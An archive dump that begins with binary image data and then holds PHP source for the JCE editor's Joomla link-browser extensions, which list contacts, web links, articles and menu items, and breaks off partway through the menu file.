X�4�v])���>b��x���F)�R��˗c�66���q�:��bC�:��L&�!H���X�+��R__O<'���"��pyk+�P)%(5&ZWah�Rh��/�F�)*�0
-%H�s�j*:�-E��֚��z2�3c�b��߼��;���׋$,��]k�v9��R���P�LOk���Z�f���O�2�B��K���&��5��)���9 ���'JƆϞ�Z��~
KS_���H]�)c��p�YYx����cݩ��2�%�~����q��WL�����=�F��ۣp�\��uT�)�a�S>1��=�Y6��9�H�iH~��9�ri���>�wR��J�ˮc,i��H�i����璆:��i��/���SJ��Z!x��)ޡ�wϟ�	"��~�y��c���2��c�WneeJK�$��у�h�ϞW{�Y��>e�ʽ�c:Vbì%T%���0L]�;�ק�ʱ�ί\MTgh��avc#�--��4aҬ��R_��X�W]�?�[΂F�Ļ'I�=łK5��������! �r��E%�jf��b�{�'�����)'%��Μ�L
�$���v�\ �1���[[�v��v۶������]�,+_ߺuk���_�r�k��miiY��YXV�q�Zb�!���G~x�F`j�RʨeY{{{q]��kR�p�ΝuSN�4M�jժ�m�}������%㦔Z�s�NT~��Bttt��܌��\.gT�l����ѣ,_��@ @2�T�¸�L&Y�l����Ne�V�\��G?�с|F�2��;nB�}gΜy<9]�~����z�,�c�|?ȸ��r9ö�q�V���0�Lr����+Pu�*1��[�aa܄�ujR�����%K�l���m���"�EM��Q�8Lɣ��>���*�(��S�(��غiӉ���R��Gb՚��;)��(Ǐub����\NJ!x�Сq����)�(�y�2@/�~]�j)lf*�<ʄ�k��G)�j�Z�v~bb��l�E��y_@;��ĭ�Bu��)d��˕�A�m��(}}}E���z�����4�b,֧�&t��y.0,G���_��OgVK�>��99üG)�a"�@)Ed�X�SX�ű����C<��醰�������B���@CC�؆�H�y7��J&I_H|�h���

���Oo�WN��\H5���
|�e��BH�,�H�Ƌ_`&�;nX�tl�6����+2�D���`�[�*��(�[V�̊��K-��y��_��h�M[���O8�4�)"��0D"pⴊ�j�@�&�h�Cͷ���C��d��{�Z�%�4�B��Z�S)!D=0m�f9�u���z�������"�/�{���e鳙�>�J���������wΝ�烕?B�&��Ǿ�a��1AƗ?�z��jŅ��?Ļ{9�ӱ�uܯ��u.7i������<�ٻ�8��R�����7O�)L��'����{�q��|��_}}��	�WS
�W�8ݗc��k�r�B�R̼��hV^{˒�Oo��eX��!DeMIf��z^��ҕ5�p����O�b�c8����YF����U��\M9~F��Ħ(m���ιMD+h���O�5e,.���>�O�Z��d���Z�'������y@J���\ɧ������������ϰ�O��+�_�E���|���/�C�7_0yʕ|�*���AEI��(RB��-�Db�O�r�wrRbH�i���a�򵔼�)cXէ��H���R���ׇ��-[�?#�m�l�~�C;T�)Zk���o۾}���g���۷�ooo��Z�I#�ȷ����i����H$�j�'�T*�Ύ;���~ǎR��;U;L�X�y���X����<8x��G{6�5��0��E���h��Ø��8@[[�7����Z�v]�	�0���r�u�'����=U������^z饾����x�(�2��PJe
�v����c�V�XѶdɒ�|Sv�ضm[߬Y��֭�cK&�9����7�d2�#��ݱe֬Ym۶m�s��t]�hk�h[�z�7��so�F��L)�f4�TG��[7n��7W�^�@[[G���b�M�.�>�D��F|�ug�'LӼw�3��i��vv.{��^ԥ�"�ȺI�����τB���w�ӝ�K�ڱ�U�ٹ�ݻ��P(�����3~��.��P�:��v��,ˡ�6���mBl�f�/�v�y2$Z��a�b���S����0�[�ǗK�(`Te(�0�&ƴ"`�\!D����y��V8j��e�����/v�Q�B�SIEND�B`�editor/extensions/links/joomlalinks/contact.php000060400000016254150750527150016052 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_WF_EXT') or die('RESTRICTED');

class JoomlalinksContact extends JObject
{
    public $_option = 'com_contact';

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($options = array())
    {
    }

    /**
     * Returns a reference to a editor object.
     *
     * This method must be invoked as:
     *         <pre>  $browser =JContentEditor::getInstance();</pre>
     *
     * @return JCE The editor object
     *
     * @since    1.5
     */
    public static function getInstance()
    {
        static $instance;

        if (!is_object($instance)) {
            $instance = new self();
        }

        return $instance;
    }

    public function getOption()
    {
        return $this->_option;
    }

    public function getList()
    {
        //Reference to JConentEditor (JCE) instance
        $wf = WFEditorPlugin::getInstance();

        if ($wf->checkAccess('links.joomlalinks.contacts', 1)) {
            return '<li data-id="index.php?option=com_contact" class="folder contact nolink"><div class="uk-tree-row"><a href="#"><span class="uk-tree-icon"></span><span class="uk-tree-text">' . WFText::_('WF_LINKS_JOOMLALINKS_CONTACTS') . '</span></a></div></li>';
        }
    }

    public function getLinks($args)
    {
        $items = array();
        $view = isset($args->view) ? $args->view : '';

        $language = '';

        if (defined('JPATH_PLATFORM')) {
            require_once JPATH_SITE . '/components/com_contact/helpers/route.php';
        }

        switch ($view) {
            default:
                if (defined('JPATH_PLATFORM')) {
                    $categories = WFLinkBrowser::getCategory('com_contact');
                } else {
                    $categories = WFLinkBrowser::getCategory('com_contact_details');
                }

                foreach ($categories as $category) {
                    if (defined('JPATH_PLATFORM')) {
                        // language
                        if (isset($category->language)) {
                            $language = $category->language;
                        }
                        $url = ContactHelperRoute::getCategoryRoute($category->id, $language);
                    } else {
                        $itemid = WFLinkBrowser::getItemId('com_contact', array('category' => $category->id));
                        $url = 'index.php?option=com_contact&view=category&catid=' . $category->slug . $itemid;
                    }
                    // convert to SEF
                    $url = self::route($url);

                    $items[] = array(
                        'id' => 'index.php?option=com_contact&view=category&id=' . $category->id,
                        'url' => $url,
                        'name' => $category->title . ' / ' . $category->alias,
                        'class' => 'folder contact',
                    );
                }
                break;
            case 'category':
                if (defined('JPATH_PLATFORM')) {
                    $categories = WFLinkBrowser::getCategory('com_contact', $args->id);

                    foreach ($categories as $category) {
                        $children = WFLinkBrowser::getCategory('com_contact', $category->id);

                        // language
                        if (isset($category->language)) {
                            $language = $category->language;
                        }

                        if ($children) {
                            $id = ContactHelperRoute::getCategoryRoute($category->id, $language);
                        } else {
                            $id = ContactHelperRoute::getCategoryRoute($category->slug, $language);
                        }

                        // convert to SEF
                        $url = self::route($id);

                        $items[] = array(
                            'url' => $url,
                            'id' => $id,
                            'name' => $category->title . ' / ' . $category->alias,
                            'class' => 'folder content',
                        );
                    }
                }

                $contacts = self::_contacts($args->id);

                foreach ($contacts as $contact) {
                    // language
                    if (isset($contact->language)) {
                        $language = $contact->language;
                    }

                    if (defined('JPATH_PLATFORM')) {
                        $id = ContactHelperRoute::getContactRoute($contact->id, $args->id, $language);
                    } else {
                        $catid = $args->id ? '&catid=' . $args->id : '';
                        $itemid = WFLinkBrowser::getItemId('com_contact', array('contact' => $contact->id));

                        if (!$itemid && isset($args->Itemid)) {
                            // fall back to the parent item's Itemid
                            $itemid = '&Itemid=' . $args->Itemid;
                        }

                        $id = 'index.php?option=com_contact&view=contact' . $catid . '&id=' . $contact->id . '-' . $contact->alias . $itemid;
                    }
                    $id = self::route($id);

                    $items[] = array(
                        'id' => $id,
                        'name' => $contact->name . ' / ' . $contact->alias,
                        'class' => 'file',
                    );
                }
                break;
        }

        return $items;
    }

    private static function route($url)
    {
        $wf = WFEditorPlugin::getInstance();

        if ($wf->getParam('links.joomlalinks.sef_url', 0)) {
            $url = WFLinkExtension::route($url);
        }

        return $url;
    }

    private static function _contacts($id)
    {
        $db = JFactory::getDBO();
        $user = JFactory::getUser();

        $where = '';

        $version = new JVersion();
        $language = $version->isCompatible('3.0') ? ', language' : '';

        $query = $db->getQuery(true);

        if (is_object($query)) {
            $query->select('id, name, alias' . $language)->from('#__contact_details')->where(array('catid=' . (int) $id, 'published = 1'));
            
            if (!$user->authorise('core.admin')) {
                $query->where('access IN (' . implode(',', $user->getAuthorisedViewLevels()) . ')');
            }

        } else {
            $query = 'SELECT id, name, alias'
            . ' FROM #__contact_details'
            . ' WHERE catid = ' . (int) $id
            . ' AND published = 1';

            if ($user->get('gid') != 25) {
                $query .= ' AND access <= ' . (int) $user->get('aid');
            }

            $query .= ' ORDER BY name';
        }

        $db->setQuery($query);

        return $db->loadObjectList();
    }
}
editor/extensions/links/joomlalinks/weblinks.php000060400000022235150750527150016231 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_WF_EXT') or die('RESTRICTED');

class JoomlalinksWeblinks extends JObject
{
    public $_option = 'com_weblinks';

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($options = array())
    {
    }

    /**
     * Returns a reference to a editor object.
     *
     * This method must be invoked as:
     *         <pre>  $browser =JContentEditor::getInstance();</pre>
     *
     * @return JCE The editor object
     *
     * @since    1.5
     */
    public static function getInstance()
    {
        static $instance;

        if (!is_object($instance)) {
            $instance = new self();
        }

        return $instance;
    }

    public function getOption()
    {
        return $this->_option;
    }

    public function getList()
    {
        $wf = WFEditorPlugin::getInstance();

        if ($wf->checkAccess('links.joomlalinks.weblinks', 1)) {
            return '<li data-id="index.php?option=com_weblinks&view=categories" class="folder menu nolink"><div class="uk-tree-row"><a href="#"><span class="uk-tree-icon"></span><span class="uk-tree-text">' . WFText::_('WF_LINKS_JOOMLALINKS_WEBLINKS') . '</span></a></div></li>';
        }
    }

    public function getLinks($args)
    {
        $wf = WFEditorPlugin::getInstance();

        $items = array();

        if (!defined('JPATH_PLATFORM')) {
            require_once JPATH_SITE . '/includes/application.php';
        }
        require_once JPATH_SITE . '/components/com_weblinks/helpers/route.php';

        $language = '';

        switch ($args->view) {
            // Get all WebLink categories
            default:
            case 'categories':
                $categories = WFLinkBrowser::getCategory('com_weblinks');

                foreach ($categories as $category) {
                    $url = '';

                    if (method_exists('WeblinksHelperRoute', 'getCategoryRoute')) {
                        // language
                        if (isset($category->language)) {
                            $language = $category->language;
                        }

                        $id = WeblinksHelperRoute::getCategoryRoute($category->id, $language);

                        if (strpos($id, 'index.php?Itemid=') !== false) {
                            $url = $id;
                            $id = 'index.php?option=com_weblinks&view=category&id=' . $category->id;
                        }
                    } else {
                        $itemid = WFLinkBrowser::getItemId('com_weblinks', array('categories' => null, 'category' => $category->id));
                        $id = 'index.php?option=com_weblinks&view=category&id=' . $category->id . $itemid;
                    }

                    $items[] = array(
                        'url' => self::route($url),
                        'id' => $id,
                        'name' => $category->title . ' / ' . $category->alias,
                        'class' => 'folder weblink',
                    );
                }
                break;
            // Get all links in the category
            case 'category':
                if (defined('JPATH_PLATFORM')) {
                    $categories = WFLinkBrowser::getCategory('com_weblinks', $args->id);

                    if (count($categories)) {
                        foreach ($categories as $category) {
                            $children = WFLinkBrowser::getCategory('com_weblinks', $category->id);

                            $url = '';

                            if ($children) {
                                $id = 'index.php?option=com_weblinks&view=category&id=' . $category->id;
                            } else {
                                if (method_exists('WeblinksHelperRoute', 'getCategoryRoute')) {
                                    // language
                                    if (isset($category->language)) {
                                        $language = $category->language;
                                    }

                                    $id = WeblinksHelperRoute::getCategoryRoute($category->id, $language);

                                    if (strpos($id, 'index.php?Itemid=') !== false) {
                                        $url = $id;
                                        $id = 'index.php?option=com_weblinks&view=category&id=' . $category->id;
                                    }
                                } else {
                                    $itemid = WFLinkBrowser::getItemId('com_weblinks', array('categories' => null, 'category' => $category->id));
                                    $id = 'index.php?option=com_weblinks&view=category&id=' . $category->id . $itemid;
                                }
                            }

                            $items[] = array(
                                'url' => self::route($url),
                                'id' => $id,
                                'name' => $category->title . ' / ' . $category->alias,
                                'class' => 'folder weblink',
                            );
                        }
                    }
                }

                $weblinks = self::_weblinks($args->id);

                foreach ($weblinks as $weblink) {
                    // language
                    if (isset($weblink->language)) {
                        $language = $weblink->language;
                    }

                    $id = WeblinksHelperRoute::getWeblinkRoute($weblink->slug, $weblink->catslug, $language);

                    if (defined('JPATH_PLATFORM')) {
                        $id .= '&task=weblink.go';
                    }

                    $items[] = array(
                        'id' => self::route($id),
                        'name' => $weblink->title . ' / ' . $weblink->alias,
                        'class' => 'file',
                    );
                }
                break;
        }

        return $items;
    }

    public function _weblinks($id)
    {
        $wf = WFEditorPlugin::getInstance();
        $db = JFactory::getDBO();
        $user = JFactory::getUser();

        $version = new JVersion();
        $language = $version->isCompatible('3.0') ? ', a.language' : '';

        $dbquery = $db->getQuery(true);

        $section = JText::_('Web Links');

        $query = 'SELECT a.id AS slug, b.id AS catslug, a.title AS title, a.description AS text, a.url, a.alias';

        if ($wf->getParam('links.joomlalinks.weblinks_alias', 1) == 1) {
            if (is_object($dbquery) && method_exists($dbquery, 'charLength')) {
                $query .= $language;

                //sqlsrv changes
                $case_when1 = ' CASE WHEN ';
                $case_when1 .= $dbquery->charLength('a.alias', '!=', '0');
                $case_when1 .= ' THEN ';
                $a_id = $dbquery->castAsChar('a.id');
                $case_when1 .= $dbquery->concatenate(array($a_id, 'a.alias'), ':');
                $case_when1 .= ' ELSE ';
                $case_when1 .= $a_id . ' END as slug';

                $case_when2 = ' CASE WHEN ';
                $case_when2 .= $dbquery->charLength('b.alias', '!=', '0');
                $case_when2 .= ' THEN ';
                $c_id = $dbquery->castAsChar('b.id');
                $case_when2 .= $dbquery->concatenate(array($c_id, 'b.alias'), ':');
                $case_when2 .= ' ELSE ';
                $case_when2 .= $c_id . ' END as catslug';
            } else {
                $case_when1 = ' CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(\':\', a.id, a.alias) ELSE a.id END as slug';
                $case_when2 = ' CASE WHEN CHAR_LENGTH(b.alias) THEN CONCAT_WS(\':\', b.id, b.alias) ELSE b.id END as catslug';
            }

            $query .= ',' . $case_when1 . ',' . $case_when2;
        }

        if (method_exists('JUser', 'getAuthorisedViewLevels')) {
            $where = ' AND a.state = 1';

            if (!$user->authorise('core.admin')) {
                $where .= ' AND b.access IN (' . implode(',', $user->getAuthorisedViewLevels()) . ')';
            }

        } else {
            $where = ' AND a.published = 1';

            if ($user->get('gid') != 25) {
                $where .= ' AND b.access <= ' . (int) $user->get('aid');
            }
        }

        $query .= ' FROM #__weblinks AS a'
        . ' INNER JOIN #__categories AS b ON b.id = ' . (int) $id
        . ' WHERE a.catid = ' . (int) $id
        . $where
        . ' AND b.published = 1'
        . ' ORDER BY a.title'
        ;

        $db->setQuery($query, 0);

        return $db->loadObjectList();
    }

    private static function route($url)
    {
        $wf = WFEditorPlugin::getInstance();

        if ($wf->getParam('links.joomlalinks.sef_url', 0)) {
            $url = WFLinkExtension::route($url);
        }

        return $url;
    }
}
editor/extensions/links/joomlalinks/content.php000060400000043146150750527150016071 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_WF_EXT') or die('RESTRICTED');

class JoomlalinksContent extends JObject
{
    public $_option = 'com_content';

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($options = array())
    {
    }

    /**
     * Returns a reference to a editor object.
     *
     * This method must be invoked as:
     *         <pre>  $browser =JContentEditor::getInstance();</pre>
     *
     * @return JCE The editor object
     *
     * @since    1.5
     */
    public static function getInstance()
    {
        static $instance;

        if (!is_object($instance)) {
            $instance = new self();
        }

        return $instance;
    }

    public function getOption()
    {
        return $this->_option;
    }

    public function getList()
    {
        $wf = WFEditorPlugin::getInstance();

        if ($wf->checkAccess('links.joomlalinks.content', 1)) {
            return '<li data-id="index.php?option=com_content" class="folder content nolink"><div class="uk-tree-row"><a href="#"><span class="uk-tree-icon"></span><span class="uk-tree-text">' . WFText::_('WF_LINKS_JOOMLALINKS_CONTENT') . '</span></a></div></li>';
        }
    }

    public function getLinks($args)
    {
        $wf = WFEditorPlugin::getInstance();

        require_once JPATH_SITE . '/components/com_content/helpers/route.php';

        $items = array();
        $view = isset($args->view) ? $args->view : '';

        $language = '';

        switch ($view) {
            // get top-level sections / categories
            default:
                $sections = self::_getSection();

                foreach ($sections as $section) {
                    $url = '';

                    // Joomla! 1.5
                    if (method_exists('ContentHelperRoute', 'getSectionRoute')) {
                        $id = ContentHelperRoute::getSectionRoute($section->id);
                        $view = 'section';
                    } else {
                        if (isset($section->language)) {
                            $language = $category->language;
                        }

                        $id = ContentHelperRoute::getCategoryRoute($section->slug, $language);
                        $view = 'category';
                    }

                    if (strpos($id, 'index.php?Itemid=') !== false) {
                        $url = self::_getMenuLink($id);
                        $id = 'index.php?option=com_content&view=' . $view . '&id=' . $section->id;
                    }

                    $items[] = array(
                        'url' => self::route($url),
                        'id' => $id,
                        'name' => $section->title,
                        'class' => 'folder content',
                    );
                }
                // Check Static/Uncategorized permissions
                if (!defined('JPATH_PLATFORM') && $wf->checkAccess('static', 1)) {
                    $items[] = array(
                        'id' => 'option=com_content&amp;view=uncategorized',
                        'name' => WFText::_('WF_LINKS_JOOMLALINKS_UNCATEGORIZED'),
                        'class' => 'folder content nolink',
                    );
                }
                break;
            // get categories in section or sub-categories (Joomla! 1.6+)
            case 'section':
                $articles = array();

                // Joomla! 1.5
                if (method_exists('ContentHelperRoute', 'getSectionRoute')) {
                    $categories = WFLinkBrowser::getCategory($args->id, 'com_content');
                } else {
                    $categories = WFLinkBrowser::getCategory('com_content', $args->id);

                    // get any articles in this category (in Joomla! 1.6+ a category can contain sub-categories and articles)
                    $articles = self::_getArticles($args->id);
                }

                foreach ($categories as $category) {
                    $url = '';

                    if (isset($category->language)) {
                        $language = $category->language;
                    }

                    $id = ContentHelperRoute::getCategoryRoute($category->id, $args->id, $language);

                    if (strpos($id, 'index.php?Itemid=') !== false) {
                        $url = self::_getMenuLink($id);
                        $id = 'index.php?option=com_content&view=category&id=' . $category->id;
                    }

                    $items[] = array(
                        'url' => self::route($url),
                        'id' => $id,
                        'name' => $category->title . ' / ' . $category->alias,
                        'class' => 'folder content',
                    );
                }

                if (!empty($articles)) {
                    // output article links
                    foreach ($articles as $article) {
                        // Joomla! 1.5
                        if (isset($article->sectionid)) {
                            $id = ContentHelperRoute::getArticleRoute($article->slug, $article->catslug, $article->sectionid);
                        } else {
                            if (isset($article->language)) {
                                $language = $article->language;
                            }

                            $id = ContentHelperRoute::getArticleRoute($article->slug, $article->catslug, $language);
                        }

                        $id = self::route($id);

                        $items[] = array(
                            'id' => $id,
                            'name' => $article->title . ' / ' . $article->alias,
                            'class' => 'file',
                        );

                        $anchors = self::getAnchors($article->content);

                        foreach ($anchors as $anchor) {
                            $items[] = array(
                                'id' => $id . '#' . $anchor,
                                'name' => '#' . $anchor,
                                'class' => 'file anchor',
                            );
                        }
                    }
                }

                break;
            // get articles and / or sub-categories
            case 'category':
                // get any articles in this category (in Joomla! 1.6+ a category can contain sub-categories and articles)
                $articles = self::_getArticles($args->id);

                if (defined('JPATH_PLATFORM')) {
                    // get sub-categories
                    $categories = WFLinkBrowser::getCategory('com_content', $args->id);

                    if (count($categories)) {
                        foreach ($categories as $category) {
                            // check for sub-categories
                            $sub = WFLinkBrowser::getCategory('com_content', $category->id);

                            // language
                            if (isset($category->language)) {
                                $language = $category->language;
                            }

                            $url = '';
                            $id = ContentHelperRoute::getCategoryRoute($category->id, $language);

                            // get sub-categories
                            if (count($sub)) {
                                $url = $id;
                                $id = 'index.php?option=com_content&view=section&id=' . $category->id;
                                // no sub-categories, get articles for category
                            } else {
                                // no com_content, might be link like index.php?ItemId=1
                                if (strpos($id, 'index.php?Itemid=') !== false) {
                                    $url = $id; //$id;
                                    $id = 'index.php?option=com_content&view=category&id=' . $category->id;
                                }
                            }

                            if (strpos($url, 'index.php?Itemid=') !== false) {
                                $url = self::_getMenuLink($url);
                            }

                            $items[] = array(
                                'url' => self::route($url),
                                'id' => $id,
                                'name' => $category->title . ' / ' . $category->alias,
                                'class' => 'folder content',
                            );
                        }
                    }
                }

                // output article links
                foreach ($articles as $article) {
                    // Joomla! 1.5
                    if (isset($article->sectionid)) {
                        $id = ContentHelperRoute::getArticleRoute($article->slug, $article->catslug, $article->sectionid);
                    } else {
                        // language
                        if (isset($article->language)) {
                            $language = $article->language;
                        }

                        $id = ContentHelperRoute::getArticleRoute($article->slug, $article->catslug, $language);
                    }

                    $id = self::route($id);

                    $items[] = array(
                        'id' => $id,
                        'name' => $article->title . ' / ' . $article->alias,
                        'class' => 'file' . ($article->state ? '' : ' unpublished uk-text-muted'),
                    );

                    $anchors = self::getAnchors($article->content);

                    foreach ($anchors as $anchor) {
                        $items[] = array(
                            'id' => $id . '#' . $anchor,
                            'name' => '#' . $anchor,
                            'class' => 'file anchor',
                        );
                    }
                }

                break;
            case 'uncategorized':
                $statics = self::_getUncategorized();
                foreach ($statics as $static) {
                    // language
                    if (isset($static->language)) {
                        $language = $static->language;
                    }

                    $id = ContentHelperRoute::getArticleRoute($static->id, 0, $language);

                    $id = self::route($id);

                    $items[] = array(
                        'id' => $id,
                        'name' => $static->title . ' / ' . $static->alias,
                        'class' => 'file' . ($article->state ? '' : ' unpublished uk-text-muted'),
                    );

                    $anchors = self::getAnchors($statics->content);

                    foreach ($anchors as $anchor) {
                        $items[] = array(
                            'id' => $id . '#' . $anchor,
                            'name' => '#' . $anchor,
                            'class' => 'file anchor',
                        );
                    }
                }
                break;
        }

        return $items;
    }

    private function _getMenuLink($url)
    {
        $wf = WFEditorPlugin::getInstance();

        // resolve the url from the menu link
        if ($wf->getParam('links.joomlalinks.article_resolve_alias', 1) == 1) {
            // get itemid
            preg_match('#Itemid=([\d]+)#', $url, $matches);
            // get link from menu
            if (count($matches) > 1) {
                $menu = JTable::getInstance('menu');
                $menu->load($matches[1]);

                if ($menu->link) {
                    return $menu->link . '&Itemid=' . $menu->id;
                }
            }
        }

        return $url;
    }

    private function _getSection()
    {
        $db = JFactory::getDBO();
        $user = JFactory::getUser();

        if (method_exists('JUser', 'getAuthorisedViewLevels')) {
            return WFLinkBrowser::getCategory('com_content');
        } else {

            $query = 'SELECT id, title, alias, access'
                . ' FROM #__sections'
                . ' WHERE published = 1';

            if ($user->get('gid') != 25) {
                $query .= ' AND access <= ' . (int) $user->get('aid');
            }

            $query .= ' ORDER BY title';

            $db->setQuery($query);

            return $db->loadObjectList();
        }
    }

    private function _getArticles($id)
    {
        $db = JFactory::getDBO();
        $user = JFactory::getUser();
        $wf = WFEditorPlugin::getInstance();

        $query = $db->getQuery(true);
        $version = new JVersion();

        $language = $version->isCompatible('3.0') ? ', a.language' : '';
        $case = '';

        if ($wf->getParam('links.joomlalinks.article_alias', 1) == 1) {
            if (is_object($query)) {
                //sqlsrv changes
                $case_when1 = ' CASE WHEN ';
                $case_when1 .= $query->charLength('a.alias', '!=', '0');
                $case_when1 .= ' THEN ';
                $a_id = $query->castAsChar('a.id');
                $case_when1 .= $query->concatenate(array($a_id, 'a.alias'), ':');
                $case_when1 .= ' ELSE ';
                $case_when1 .= $a_id . ' END as slug';

                $case_when2 = ' CASE WHEN ';
                $case_when2 .= $query->charLength('b.alias', '!=', '0');
                $case_when2 .= ' THEN ';
                $c_id = $query->castAsChar('b.id');
                $case_when2 .= $query->concatenate(array($c_id, 'b.alias'), ':');
                $case_when2 .= ' ELSE ';
                $case_when2 .= $c_id . ' END as catslug';
            } else {
                $case_when1 = ' CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(":", a.id, a.alias) ELSE a.id END as slug';
                $case_when2 = ' CASE WHEN CHAR_LENGTH(b.alias) THEN CONCAT_WS(":", b.id, b.alias) ELSE b.id END as catslug';
            }

            $case = ',' . $case_when1 . ',' . $case_when2;
        }

        if (is_object($query)) {
            $groups = implode(',', $user->getAuthorisedViewLevels());

            $query->select('a.id AS slug, b.id AS catslug, a.alias, a.state, a.title AS title, a.access, ' . $query->concatenate(array('a.introtext', 'a.fulltext')) . ' AS content' . $language . $case);
            $query->from('#__content AS a');
            $query->innerJoin('#__categories AS b ON b.id = ' . (int) $id);
            
            $query->where('a.catid = ' . (int) $id);

            if ($wf->getParam('links.joomlalinks.article_unpublished', 0) == 1) {
                $query->where('(a.state = 0 OR a.state = 1)');
            } else {
                $query->where('a.state = 1');
            }

            if (!$user->authorise('core.admin')) {
                $query->where('a.access IN (' . $groups . ')');
                $query->where('b.access IN (' . $groups . ')');
            }

            $query->order('a.title');
        } else {
            $query = 'SELECT a.id AS slug, b.id AS catslug, a.alias, a.state, a.title AS title, u.id AS sectionid, a.access, a.introtext, a.fulltext' . $case
            . ' FROM #__content AS a'
            . ' INNER JOIN #__categories AS b ON b.id = ' . (int) $id
            . ' INNER JOIN #__sections AS u ON u.id = a.sectionid'
            . ' WHERE a.catid = ' . (int) $id;

            if ($wf->getParam('links.joomlalinks.article_unpublished', 0) == 1) {
                $query .= ' (AND a.state = 1 OR a.state = 0)';
            } else {
                $query .= ' AND a.state = 1';
            }

            if ($user->get('gid') != 25) {
                $query .= ' AND a.access <= ' . (int) $user->get('aid');
            }

            $query .= ' ORDER BY a.title';
        }

        $db->setQuery($query, 0);

        return $db->loadObjectList();
    }

    private function _getUncategorized()
    {
        $db = JFactory::getDBO();
        $user = JFactory::getUser();

        $version = new JVersion();
        $language = $version->isCompatible('3.0') ? ', language' : '';

        $query = 'SELECT id, title, alias, access, state, introtext AS content' . $language
            . ' FROM #__content'
            . ' WHERE sectionid = 0'
            . ' AND catid = 0';

            if ($wf->getParam('links.joomlalinks.article_unpublished', 0) == 1) {
                $query .= ' (AND state = 1 OR state = 0)';
            } else {
                $query .= ' AND state = 1';
            }

            if ($user->get('gid') != 25) {
                $query .= ' AND access <= ' . (int) $user->get('aid');
            }

            $query .= ' ORDER BY title';

        $db->setQuery($query, 0);

        return $db->loadObjectList();
    }

    private function getItemId($url)
    {
    }

    private static function getAnchors($content)
    {
        preg_match_all('#<a([^>]+)(name|id)="([a-z]+[\w\-\:\.]*)"([^>]*)>#i', $content, $matches, PREG_SET_ORDER);

        $anchors = array();

        if (!empty($matches)) {
            foreach ($matches as $match) {
                if (strpos($match[0], 'href') === false) {
                    $anchors[] = $match[3];
                }
            }
        }

        return $anchors;
    }

    private static function route($url)
    {
        $wf = WFEditorPlugin::getInstance();

        if ($wf->getParam('links.joomlalinks.sef_url', 0)) {
            $url = WFLinkExtension::route($url);
        }

        return $url;
    }
}
editor/extensions/links/joomlalinks/menu.php000060400000030613150750527150015356 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_WF_EXT') or die('RESTRICTED');

class JoomlalinksMenu extends JObject
{
    public $_option = 'com_menu';

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($options = array())
    {
    }

    /**
     * Returns a reference to a editor object.
     *
     * This method must be invoked as:
     *         <pre>  $browser =JContentEditor::getInstance();</pre>
     *
     * @return JCE The editor object
     *
     * @since    1.5
     */
    public static function getInstance()
    {
        static $instance;

        if (!is_object($instance)) {
            $instance = new self();
        }

        return $instance;
    }

    public function getOption()
    {
        return $this->_option;
    }

    public function getList()
    {
        $wf = WFEditorPlugin::getInstance();

        if ($wf->checkAccess('links.joomlalinks.menu', 1)) {
            return '<li data-id="index.php?option=com_menu" class="folder menu nolink"><div class="uk-tree-row"><a href="#"><span class="uk-tree-icon"></span><span class="uk-tree-text">' . WFText::_('WF_LINKS_JOOMLALINKS_MENU') . '</span></a></div></li>';
        }
    }

    public function getLinks($args)
    {
        $items = array();
        $view = isset($args->view) ? $args->view : '';
        switch ($view) {
            // create top-level (non-linkable) menu types
            default:
                $types = self::_types();
                foreach ($types as $type) {
                    $items[] = array(
                        'id' => 'index.php?option=com_menu&view=menu&type=' . $type->id,
                        'name' => $type->title,
                        'class' => 'folder menu nolink',
                    );
                }
                break;
            // get menus and sub-menus
            case 'menu':
                $type = isset($args->type) ? $args->type : 0;
                $id = $type ? 0 : $args->id;

                $menus = self::_menu($id, $type);

                foreach ($menus as $menu) {
                    $class = array();

                    if (defined('JPATH_PLATFORM')) {
                        // bypass errors in menu parameters syntax
                        try {
                            $params = new JRegistry($menu->params);
                        } catch (Exception $e) {
                            $params = new JRegistry();
                        }
                    } else {
                        $params = new JParameter($menu->params);
                    }

                    switch ($menu->type) {
                        case 'separator':
                            if (!$menu->link) {
                                $class[] = 'nolink';
                            }

                            $link = '';
                            break;

                        case 'alias':
                            // If this is an alias use the item id stored in the parameters to make the link.
                            $link = 'index.php?Itemid=' . $params->get('aliasoptions');
                            break;

                        default:
                            // resolve link
                            $link = self::_resolveLink($menu);
                            break;
                    }

                    $children = (int) self::_children($menu->id);
                    $title = isset($menu->name) ? $menu->name : $menu->title;

                    if ($children) {
                        $class = array_merge($class, array('folder', 'menu'));
                    } else {
                        $class[] = 'file';
                    }

                    if ($params->get('secure')) {
                        $link = self::toSSL($link);
                    }

                    // language
                    if (isset($menu->language)) {
                        $link .= $this->getLangauge($menu->language);
                    }

                    $items[] = array(
                        'id' => $children ? 'index.php?option=com_menu&view=menu&id=' . $menu->id : $link,
                        'url' => self::route($link),
                        'name' => $title . ' / ' . $menu->alias,
                        'class' => implode(' ', $class),
                    );
                }
                break;
            // get menu items
            case 'submenu':
                $menus = self::_menu($args->id);
